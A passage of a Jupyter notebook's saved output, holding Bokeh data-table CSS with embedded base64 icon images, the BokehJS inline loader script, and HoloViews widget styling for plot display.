.slick-header-columns{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .slick-header-column{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .slick-header-column:hover,.bk-root .slick-header-column-active{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAWAIcAAKrM9tno++vz/QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABYAAAgUAAUIHEiwoIAACBMqXMhwIQAAAQEAOw==\\\\\\\")}.bk-root .slick-group-toggle.expanded{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhCQAJAPcAAAFGeoCAgNXz/+v5/+v6/+z5/+36//L7//X8//j9/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAACQAJAAAIMwADCBxIUIDBgwIEChgwwECBAgQUFjBAkaJCABgxGlB4AGHCAAIQiBypEEECkScJqgwQEAA7\\\\\\\")}.bk-root .slick-group-toggle.collapsed{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhCQAJAPcAAAFGeoCAgNXz/+v5/+v6/+z5/+36//L7//X8//j9/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAACQAJAAAIOAADCBxIUIDBgwIEChgwAECBAgQUFjAAQIABAwoBaNSIMYCAAwIqGlSIAEHFkiQTIBCgkqDLAAEBADs=\\\\\\\")}.bk-root .slick-group-select-checkbox.checked{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAIAAACQKrqGAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwQAADsEBuJFr7QAAABl0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4xNkRpr/UAAAEcSURBVChTjdI9S8NQFAbg/raQXVwCRRFE7GK7OXTwD+ikk066VF3a0ja0hQTyQdJrwNq0zrYSQRLEXMSWSlCIb8glqRcFD+9yz3nugXwU4n9XQqMoGjj36uBJsTwuaNo3EwBG4Yy7pe7Gv8YcvhJCGFVsjxsjxujj6OTSGlHv+U2WZUZbPWKOv1ZjT5a7pbIoiptbO5b73mwrjHa1B27l8VlTEIS1damlTnEE+EEN9/P8WrfH81qdAIGeXvTTmzltdCy46sEhxpKUINReZR9NnqZbr9puugxV3NjWh/k74WmmEdWhmUNy2jNmWRc6fZTVADCqao52u+DGWTACYNT3fRxwtatPufTNR4yCIGAUn5hS+vJHhWGY/ANx/A3tvdv+1tZmuwAAAABJRU5ErkJggg==\\\\\\\")}.bk-root .slick-group-select-checkbox.unchecked{background-image:url(\\\\\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAOCAIAAACQKrqGAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwQAADsEBuJFr7QAAABl0RVh0U29mdHdhcmUAcGFpbnQubmV0IDQuMC4xNkRpr/UAAACXSURBVChT1dIxC4MwEAXg/v8/VOhQVDBNakV0KA6pxS4JhWRSIYPEJxwdDi1de7wleR+3JIf486w0hKCKRpSvvOhZcCmvNQBRuKqdah03U7UjNNH81rOaBYDo8SQaPX8JANFEaLaGBeAPaaY61rGksiN6TmR5H1j9CSoAosYYHLA7vTxYMvVEZa0liif23r93xjm3/oEYF8PiDn/I2FHCAAAAAElFTkSuQmCC\\\\\\\")}.bk-root .slick-sort-indicator-desc{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDQAFAIcAAGGQzUD/QOPu+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAMAAAEALAAAAAANAAUAAAgeAAUAGEgQgIAACBEKLHgwYcKFBh1KFNhQosOKEgMCADs=\\\\\\\")}.bk-root .slick-sort-indicator-asc{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDQAFAIcAAGGQzUD/QOPu+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAMAAAEALAAAAAANAAUAAAgbAAMIDABgoEGDABIeRJhQ4cKGEA8KmEiRosGAADs=\\\\\\\")}.bk-root .slick-header-menubutton{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhDgAOAIABADtKYwAAACH5BAEAAAEALAAAAAAOAA4AAAISjI+py+0PHZgUsGobhTn6DxoFADs=\\\\\\\")}.bk-root .slick-pager{background-image:url(\\\\\\\"data:image/gif;base64,R0lGODlhAgAYAIcAANDQ0Ovs7uzt7+3u8O7v8e/w8vDx8/Hy9Pn5+QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAP8ALAAAAAACABgAAAghABEIHEiwYMEDCA8YWMiwgMMCBAgMmDhAgIAAGAMAABAQADs=\\\\\\\")}.bk-root .bk-data-table{font-size:11px}.bk-root .bk-data-table input[type=\\\\\\\"checkbox\\\\\\\"]{margin-left:4px;margin-right:4px}.bk-root .bk-data-table *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.bk-root .bk-data-table *:before,.bk-root .bk-data-table *:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.bk-root .bk-cell-special-defaults{border-right-color:silver;border-right-style:solid;background:#f5f5f5}.bk-root .bk-cell-select{border-right-color:silver;border-right-style:solid;background:#f5f5f5}.bk-root .bk-cell-index{border-right-color:silver;border-right-style:solid;background:#f5f5f5;text-align:right;color:gray}.bk-root .bk-header-index .slick-column-name{float:right}.bk-root .slick-row.selected .bk-cell-index{background-color:transparent}.bk-root .slick-cell{padding-left:4px;padding-right:4px}.bk-root .slick-cell.active{border-style:dashed}.bk-root .slick-cell.editable{padding-left:0;padding-right:0}.bk-root .bk-cell-editor input,.bk-root .bk-cell-editor select{width:100%;height:100%;border:0;margin:0;padding:0;outline:0;background:transparent;vertical-align:baseline}.bk-root .bk-cell-editor input{padding-left:4px;padding-right:4px}.bk-root .bk-cell-editor-completion{font-size:11px}\\\\n/* END bokeh-tables.min.css */\\\");\\n    }\\n  ];\\n\\n  function run_inline_js() {\\n    \\n    if ((root.Bokeh !== undefined) || (force === true)) {\\n      for (var i = 0; i < inline_js.length; i++) {\\n        inline_js[i].call(root, root.Bokeh);\\n      }} else if (Date.now() < root._bokeh_timeout) {\\n      setTimeout(run_inline_js, 100);\\n    } else if (!root._bokeh_failed_load) {\\n      console.log(\\\"Bokeh: BokehJS failed to load within specified timeout.\\\");\\n      root._bokeh_failed_load = true;\\n    } else if (force !== true) {\\n      var cell = $(document.getElementById(null)).parents('.cell').data().cell;\\n      cell.output_area.append_execute_result(NB_LOAD_WARNING)\\n    }\\n\\n  }\\n\\n  if (root._bokeh_is_loading === 0) {\\n    console.log(\\\"Bokeh: BokehJS loaded, going straight to plotting\\\");\\n    run_inline_js();\\n  } else {\\n    load_libs(js_urls, function() {\\n      console.log(\\\"Bokeh: BokehJS plotting callback run at\\\", now());\\n      run_inline_js();\\n    });\\n  }\\n}(window));\"\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    },\n    {\n     \"data\": {\n      \"text/html\": [\n       \"\\n\",\n       \"<link rel=\\\"stylesheet\\\" href=\\\"https://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css\\\">\\n\",\n       \"<style>div.bk-hbox {\\n\",\n       \"    display: flex;\\n\",\n       \"    justify-content: center;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.bk-hbox div.bk-plot {\\n\",\n       \"    padding: 8px;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.bk-hbox div.bk-data-table {\\n\",\n       \"    padding: 20px;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.hololayout {\\n\",\n       \"  display: flex;\\n\",\n       \"  align-items: center;\\n\",\n       \"  margin: 0;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.holoframe {\\n\",\n       \"  width: 75%;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.holowell {\\n\",\n       \"  display: flex;\\n\",\n       \"  align-items: center;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"form.holoform {\\n\",\n       \"  background-color: #fafafa;\\n\",\n       \"  border-radius: 5px;\\n\",\n       \"  overflow: hidden;\\n\",\n       \"  padding-left: 0.8em;\\n\",\n       \"  padding-right: 0.8em;\\n\",\n       \"  padding-top: 0.4em;\\n\",\n       \"  padding-bottom: 0.4em;\\n\",\n       \"  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\\n\",\n       \"  margin-bottom: 20px;\\n\",\n       \"  border: 1px solid #e3e3e3;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.holowidgets {\\n\",\n       \"  padding-right: 0;\\n\",\n       \"  width: 25%;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.holoslider {\\n\",\n       \"  min-height: 0 !important;\\n\",\n       \"  height: 0.8em;\\n\",\n       \"  width: 100%;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.holoformgroup {\\n\",\n       \"  padding-top: 0.5em;\\n\",\n       \"  margin-bottom: 0.5em;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"div.hologroup {\\n\",\n       \"  padding-left: 0;\\n\",\n       \"  padding-right: 0.8em;\\n\",\n       \"  width: 100%;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \".holoselect {\\n\",\n       \"  width: 92%;\\n\",\n       \"  margin-left: 0;\\n\",\n       \"  margin-right: 0;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \".holotext {\\n\",\n       \"  padding-left:  0.5em;\\n\",\n       \"  padding-right: 0;\\n\",\n       \"  width: 100%;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \".holowidgets .ui-resizable-se {\\n\",\n       \"  visibility: hidden\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \".holoframe > .ui-resizable-se {\\n\",\n       \"  visibility: hidden\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \".holowidgets .ui-resizable-s {\\n\",\n       \"  visibility: hidden\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"/* CSS rules for noUISlider based slider used by JupyterLab extension  */\\n\",\n       \"\\n\",\n       \".noUi-handle {\\n\",\n       \"  width: 20px !important;\\n\",\n       \"  height: 20px !important;\\n\",\n       \"  left: -5px !important;\\n\",\n       \"  top: -5px !important;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \".noUi-handle:before, .noUi-handle:after {\\n\",\n       \"  visibility: hidden;\\n\",\n       \"  height: 0px;\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \".noUi-target {\\n\",\n       \"  margin-left: 0.5em;\\n\",\n       \"  margin-right: 0.5em;\\n\",\n       \"}\\n\",\n       \"</style>\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"<div class=\\\"logo-block\\\">\\n\",\n       \"<img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\\n\",\n       \"AAAB+wAAAfsBxc2miwAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAA6zSURB\\n\",\n       \"VHic7ZtpeFRVmsf/5966taWqUlUJ2UioBBJiIBAwCZtog9IOgjqACsogKtqirT2ttt069nQ/zDzt\\n\",\n       \"tI4+CrJIREFaFgWhBXpUNhHZQoKBkIUASchWla1S+3ar7r1nPkDaCAnZKoQP/D7mnPOe9/xy76n3\\n\",\n       \"nFSAW9ziFoPFNED2LLK5wcyBDObkb8ZkxuaoSYlI6ZcOKq1eWFdedqNzGHQBk9RMEwFAASkk0Xw3\\n\",\n       \"ETacDNi2vtvc7L0ROdw0AjoSotQVkKSvHQz/wRO1lScGModBFbDMaNRN1A4tUBCS3lk7BWhQkgpD\\n\",\n       \"lG4852/+7DWr1R3uHAZVQDsbh6ZPN7CyxUrCzJMRouusj0ipRwD2uKm0Zn5d2dFwzX1TCGhnmdGo\\n\",\n       \"G62Nna+isiUqhkzuKrkQaJlPEv5mFl2fvGg2t/VnzkEV8F5ioioOEWkLG86fvbpthynjdhXYZziQ\\n\",\n       \"x1hC9J2NFyi8vCTt91Fh04KGip0AaG9zuCk2wQCVyoNU3Hjezee9bq92duzzTmxsRJoy+jEZZZYo\\n\",\n       \"GTKJ6SJngdJqAfRzpze0+jHreUtPc7gpBLQnIYK6BYp/uGhw9YK688eu7v95ysgshcg9qSLMo3JC\\n\",\n       \"4jqLKQFBgdKDPoQ+Pltb8dUyQLpeDjeVgI6EgLIQFT5tEl3rn2losHVsexbZ3EyT9wE1uGdkIPcy\\n\",\n       \"BGxn8QUq1QrA5nqW5i2tLqvrrM9NK6AdkVIvL9E9bZL/oyfMVd/jqvc8LylzRBKDJSzIExwhQzuL\\n\",\n       \"QYGQj4rHfFTc8mUdu3E7yoLtbTe9gI4EqVgVkug2i5+uXGo919ixbRog+3fTbQ8qJe4ZOYNfMoTI\\n\",\n       \"OoshUNosgO60AisX15aeI2PSIp5KiFLI9ubb1vV3Qb2ltwLakUCDAkWX7/nHKRmmGIl9VgYsUhJm\\n\",\n       \"2NXjKYADtM1ygne9QQDIXlk49FBstMKx66D1v4+XuQr7vqTe0VcBHQlRWiOCbmmSYe2SqtL6q5rJ\\n\",\n       \"zsTb7lKx3FKOYC4DoqyS/B5bvLPxvD9Qtf6saxYLQGJErmDOdOMr/zo96km1nElr8bmPOBwI9COv\\n\",\n       \"HnFPRIwmkSOv9kcAS4heRsidOkpeWBgZM+UBrTFAXNYL5Vf2ii9c1trNzpYdaoVil3WIc+wdk+gQ\\n\",\n       \"noie3ecCcxt9ITcLAPWt/laGEO/9U6PmzZkenTtsSMQ8uYywJVW+grCstAvCIaAdArAsIWkRDDs/\\n\",\n       